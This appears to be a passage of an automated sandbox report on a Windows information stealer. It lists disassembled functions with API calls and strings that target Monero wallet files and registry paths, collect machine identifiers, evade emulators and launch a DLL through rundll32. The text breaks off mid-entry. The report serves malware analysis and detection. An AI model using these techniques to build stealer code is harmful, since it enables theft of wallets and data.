Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 00401C9D

Part of subcall function 00417023: CreateThread.KERNEL32(00000000,00000000,00416F52,?,00000000,00000000), ref: 004170C2
Part of subcall function 00417023: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 004170CA

Strings

.keys, xrefs: 00401B0D
\Monero\wallet.keys, xrefs: 00401B2F

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseCreateHeaplstrlen$CopyDeleteHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait_memset
String ID: .keys$\Monero\wallet.keys
API String ID: 615783205-3586502688
Opcode ID: 6e49362d96dd181217f971dbbe34428858eccf757a7ce2773a31cc932749f974
Instruction ID: 5ae5b35c92150cf6758aa8f6336e1c2bb874dddc698008119f67804e2648740c
Opcode Fuzzy Hash: 6e49362d96dd181217f971dbbe34428858eccf757a7ce2773a31cc932749f974
Instruction Fuzzy Hash: 5851FAB1E5012D9BCB21FB25DD466DD7779AF04308F5050BAA608B3192DA78AFC98F48

Function 0040FB02 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000,?,?,?), ref: 0040FB27
OpenProcess.KERNEL32(001FFFFF,00000000,00000000), ref: 0040FB53
_memset.LIBCMT ref: 0040FB96
??_V@YAXPAX@Z.MSVCRT(?), ref: 0040FCEC

Part of subcall function 0040F005: _memmove.LIBCMT ref: 0040F01F

Strings

N0ZWFt, xrefs: 0040FC53

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: OpenProcess_memmove_memset
String ID: N0ZWFt
API String ID: 2647191932-431618156
Opcode ID: c67993bee4912438e36ddfb868353541a33a27fc9569f7a65c4c7545ff9be8ed
Instruction ID: 39d438bcdc7af30863709b7b9b8cc218f182961c435488cec62555061f0cc539
Opcode Fuzzy Hash: c67993bee4912438e36ddfb868353541a33a27fc9569f7a65c4c7545ff9be8ed
Instruction Fuzzy Hash: BC5182B1D0022C9BDB309F14DC85AEDB7B9AB44304F4001FAA609B7592DB796E88CF59

Function 00407FAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E72B,?,?,?), ref: 00407FC7
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FDE
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E72B,?,?,?), ref: 00407FF5
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E72B,?,?,?), ref: 0040800C
LocalFree.KERNEL32(0040EC91,?,?,?,?,0040E72B,?,?,?), ref: 0040802B
CloseHandle.KERNEL32(?,?,?,?,?,0040E72B,?,?,?), ref: 00408034

Strings

+@, xrefs: 00408042

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID: +@
API String ID: 2311089104-396005422
Opcode ID: d2fff167fb3d7733026eac0e62b508efa91648d8dc83ae773f2aa49c1a23bce4
Instruction ID: 807723f2e51248c8f2f98e616b696bb7d0540dc5137f9c813bae56d6ea2df898
Opcode Fuzzy Hash: d2fff167fb3d7733026eac0e62b508efa91648d8dc83ae773f2aa49c1a23bce4
Instruction Fuzzy Hash: 38115B70900204EFDF25DFA4DD88EAF7BB9EB48741F20056AF481B6290DB769A85DB11

Function 004115A9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004115DC
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 004115FB
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 00411620
RegCloseKey.ADVAPI32(?,?,?,?), ref: 0041162C
CharToOemA.USER32(?,?), ref: 00411640

Strings

MachineGuid, xrefs: 00411615
SOFTWARE\Microsoft\Cryptography, xrefs: 004115F1

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: ac0312e4a16f5c84db9c78dd69df8dd05989f9bc5e5da3204268fcfd553a230b
Instruction ID: 36d3e24e9a3c9893a7224b16b4e86cd110dbf3b96fcd7bd748dfe1e958ccf2a5
Opcode Fuzzy Hash: ac0312e4a16f5c84db9c78dd69df8dd05989f9bc5e5da3204268fcfd553a230b
Instruction Fuzzy Hash: 58111BB590021DAFEB10DF60DD89EEAB7BCEB18305F4041E6A659A2062D6759F888F14

Function 00401A51 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4
RegCloseKey.ADVAPI32(00401AE9), ref: 00401AAD

Strings

wallet_path, xrefs: 00401A9C
SOFTWARE\monero-project\monero-core, xrefs: 00401A7F

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3466090806-4244082812
Opcode ID: 71e2f133df7caf5fe32bda60e4b65359036da6bd26fdc34318154bfdd9f678d0
Instruction ID: d4273c4a7cb626c890d84f55efe41ac35ab9d91420973d429eaa00c9153a3761
Opcode Fuzzy Hash: 71e2f133df7caf5fe32bda60e4b65359036da6bd26fdc34318154bfdd9f678d0
Instruction Fuzzy Hash: A4F05E76780304FFFB14DB90DC0EFAE7A7DEB44B02F241165B601A61E0D6B2AB409A24

Function 00415E39 Relevance: 10.6, APIs: 7, Instructions: 120stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,00000000,?), ref: 00415EC8

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

lstrcatA.KERNEL32(?,00000000), ref: 00415EE5
lstrcatA.KERNEL32(?,?), ref: 00415F04
lstrcatA.KERNEL32(?,?), ref: 00415F18
lstrcatA.KERNEL32(?), ref: 00415F2B
lstrcatA.KERNEL32(?,?), ref: 00415F3F
lstrcatA.KERNEL32(?), ref: 00415F52

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00411D67: GetFileAttributesA.KERNEL32(?,?,?,0040DA54,?,?,?), ref: 00411D6E

Part of subcall function 00415B4D: GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B72
Part of subcall function 00415B4D: HeapAlloc.KERNEL32(00000000), ref: 00415B79
Part of subcall function 00415B4D: wsprintfA.USER32 ref: 00415B92
Part of subcall function 00415B4D: FindFirstFileA.KERNEL32(?,?), ref: 00415BA9
Part of subcall function 00415B4D: StrCmpCA.SHLWAPI(?,00436AA0), ref: 00415BCA
Part of subcall function 00415B4D: StrCmpCA.SHLWAPI(?,00436AA4), ref: 00415BE4
Part of subcall function 00415B4D: wsprintfA.USER32 ref: 00415C0B
Part of subcall function 00415B4D: CopyFileA.KERNEL32(?,?,00000001), ref: 00415CC8
Part of subcall function 00415B4D: DeleteFileA.KERNEL32(?), ref: 00415CEB

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Heapwsprintf$AllocAttributesCopyDeleteFindFirstFolderPathProcesslstrcpy
String ID:
API String ID: 1546541418-0
Opcode ID: b450ee3bcaab7e19ce5f631b6fe2a2ed8677c9dc5581557dff5c9454af115042
Instruction ID: a3bbb2234bca5b232b31865bed361f315e6cfb8f356f745c5661df9699e90797
Opcode Fuzzy Hash: b450ee3bcaab7e19ce5f631b6fe2a2ed8677c9dc5581557dff5c9454af115042
Instruction Fuzzy Hash: 4B51FDB1A0011C9BCF64DB64DC85ADDB7F9AB4C311F4044EAF609E3260EA35ABC98F54

Function 00410B05 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B19
HeapAlloc.KERNEL32(00000000,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B20
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436890,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B4E
RegQueryValueExA.KERNEL32(00436890,00000000,00000000,00000000,000000FF,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B6A
RegCloseKey.ADVAPI32(00436890,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B73

Strings

Windows 11, xrefs: 00410B31

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: eff4407981480f29a3e8c3abb8119370cc6538536529693400870beae5f7a9d1
Instruction ID: 0bec989384f0a7c66584ec76c5164b6df09d4e667c826edd8b17caab73b46526
Opcode Fuzzy Hash: eff4407981480f29a3e8c3abb8119370cc6538536529693400870beae5f7a9d1
Instruction Fuzzy Hash: 49F04475600304FBEF149BD1DC4EFAE7A6EEB44705F141055B601961E0D7B5AA80D725

Function 00410B7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410BF0,00410B2D,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B92
HeapAlloc.KERNEL32(00000000,?,?,?,00410BF0,00410B2D,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410B99
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436890,?,?,?,00410BF0,00410B2D,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410BB7
RegQueryValueExA.KERNEL32(00436890,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410BF0,00410B2D,?,?,?,00413ED5,Windows: ), ref: 00410BD2
RegCloseKey.ADVAPI32(00436890,?,?,?,00410BF0,00410B2D,?,?,?,00413ED5,Windows: ,004368A8), ref: 00410BDB

Strings

CurrentBuildNumber, xrefs: 00410BCA

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 3182c4627f195be221e76e344ca264d351bdd3646ceab104d6e5169a5afc3c7d
Instruction ID: 16525d27e18a6f6eb50ada141e8e48f6afa079728c5f11f74ebe8399e0be2e3b
Opcode Fuzzy Hash: 3182c4627f195be221e76e344ca264d351bdd3646ceab104d6e5169a5afc3c7d
Instruction Fuzzy Hash: B4F09071640304FBFF149B91DC0FFAE7A7EEB44B06F140059F701A50A0D6B2AB809B14

Function 004156AF Relevance: 9.1, APIs: 6, Instructions: 107registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004156E4
RegOpenKeyExA.KERNEL32(80000001,00000000,00020119,?,?,00000000,?), ref: 00415704
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,000000FF), ref: 0041572A
RegCloseKey.ADVAPI32(?), ref: 00415736
lstrcatA.KERNEL32(?,?), ref: 00415765
lstrcatA.KERNEL32(?), ref: 00415778

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue_memset
String ID:
API String ID: 3891774339-0
Opcode ID: ac1fb4f045a9c32dacb6dad2a78e6ac069a90479201ba3abe6436e5ac879c97b
Instruction ID: e3ba0b7b5b2fb8b2565dba4b64b39c9cbbaa1b19ed1f7e4edb880feb37e2cc77
Opcode Fuzzy Hash: ac1fb4f045a9c32dacb6dad2a78e6ac069a90479201ba3abe6436e5ac879c97b
Instruction Fuzzy Hash: A4419F7194011D9FDF25EF60EC86EE9777ABB08309F0004AAA509A31A1DE759FC5CF94

Function 0041172C Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00411733
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,004118D6,?), ref: 00411756
SysAllocString.OLEAUT32(?), ref: 00411763
_wtoi64.MSVCRT ref: 00411796
SysFreeString.OLEAUT32(?), ref: 004117AF
SysFreeString.OLEAUT32(00000000), ref: 004117B6

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: fd88fb5497638aeef0a14a928d7dd4e9b88d528f9d840e34107f64def9e00234
Instruction ID: 961552eb479836ccdab8e971d66b677841601f0c78c6f1686972c690af5acfd4
Opcode Fuzzy Hash: fd88fb5497638aeef0a14a928d7dd4e9b88d528f9d840e34107f64def9e00234
Instruction Fuzzy Hash: 20113A7490020ADFCB009FA4D8989EEBBB5AF49310F54417EF215E73A0DB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418658), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: 0293bc6baf19ea88f5dcdac6dc36adae0a2fd482d30136ec37c6ad156b83eb7b
Instruction ID: 27ef599a1d12bfc6fab42a15079cef7b1cf4f0a6bc86b08c005583bc8864efc5
Opcode Fuzzy Hash: 0293bc6baf19ea88f5dcdac6dc36adae0a2fd482d30136ec37c6ad156b83eb7b
Instruction Fuzzy Hash: A7F0C87278121077F22416753C6EF6B1A6C9B41F56F205035F308FB2D0D6699804967C

Function 004129A2 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

ShellExecuteEx.SHELL32(?), ref: 00412BC4

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00412B23
"" , xrefs: 00412A72
.dll, xrefs: 00412A2D
C:\ProgramData\, xrefs: 004129D5

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 6252ec6ac49dfec6d2eafc2302cecde9fc2a765bfa1e9cc05a02df74186979af
Instruction ID: 7fa8ef2f9362575d2c98cd0ef48d00ba90e4e67445d6038ce57a6efc2446493c
Opcode Fuzzy Hash: 6252ec6ac49dfec6d2eafc2302cecde9fc2a765bfa1e9cc05a02df74186979af
Instruction Fuzzy Hash: C771CA71D00119ABCF10FFA5D9466CDB7B4AF04748F11406AB510B7192DBB8AE8A8F88

Function 00411659 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116A3

Part of subcall function 004123AA: malloc.MSVCRT ref: 004123AF
Part of subcall function 004123AA: strncpy.MSVCRT ref: 004123C0

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116CB
lstrcatA.KERNEL32(?,00436ED4,?,?,?,?,?), ref: 004116E8
GetCurrentHwProfileA.ADVAPI32(?), ref: 00411674

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Strings

Unknown, xrefs: 00411711

Memory Dump Source

